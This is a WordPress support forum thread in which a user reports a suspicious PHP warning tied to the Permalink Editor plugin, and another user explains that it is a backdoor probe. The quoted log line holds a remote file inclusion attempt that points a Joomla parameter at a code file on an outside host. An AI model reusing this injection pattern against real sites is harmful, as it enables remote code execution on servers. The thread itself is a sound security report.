Title: [Plugin: Permalink Editor] security issue with plugin?
Last modified: August 20, 2016

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# [Plugin: Permalink Editor] security issue with plugin?

 *  [Richard Archambault](https://wordpress.org/support/users/richardmtl/)
 * (@richardmtl)
 * [14 years, 2 months ago](https://wordpress.org/support/topic/plugin-permalink-editor-security-issue-with-plugin/)
 * Hi,
 * just noticed this in my logs:
 * `PHP Warning: parse_url(//administrator/components/com_joomlaflashfun/admin.joomlaflashfun.
   php?mosConfig_live_site=http://whatsitmeantoyou.com/wp-content/themes/TheStyle/
   temp/0fe013nfc.txt?) [<a href='function.parse-url'>function.parse-url</a>]: Unable
   to parse URL in /home/XXXXXXX/public_html/wp-content/plugins/permalink-editor/
   index.php on line 218`
 * if you [search](https://wordpress.org/support/topic/plugin-permalink-editor-security-issue-with-plugin/Unable to parse URL?output_format=md)
   for the phrase “Unable to parse URL” and “permalink editor”, you get a bunch 
   of hits, including a [blog post](http://www.luisramalho.com/timthumb-attack-now-changing-wp-settings-php)
   mentioning the Timthumb problem, not sure if it’s related..
 * Anyway, I’ve deleted the plugin.
 * [http://wordpress.org/extend/plugins/permalink-editor/](http://wordpress.org/extend/plugins/permalink-editor/)

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 *  [logikdev](https://wordpress.org/support/users/logikdev/)
 * (@logikdev)
 * [14 years, 2 months ago](https://wordpress.org/support/topic/plugin-permalink-editor-security-issue-with-plugin/#post-2625315)
 * Already answered you on Twitter, but i figure it might be better to leave a trace
   for others encountering things like this.
 * Basically, this is a potential backdoor to your server. It’s phoning home to 
   execute code which checks for particular vulnerabilities on your server. What
   it does if it finds any isnt quite clear and warrants further examination, but
   essentially, when you see this, it’s generally not good.

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 * Last reply from: [logikdev](https://wordpress.org/support/users/logikdev/)
 * Last activity: [14 years, 2 months ago](https://wordpress.org/support/topic/plugin-permalink-editor-security-issue-with-plugin/#post-2625315)
 * Status: not resolved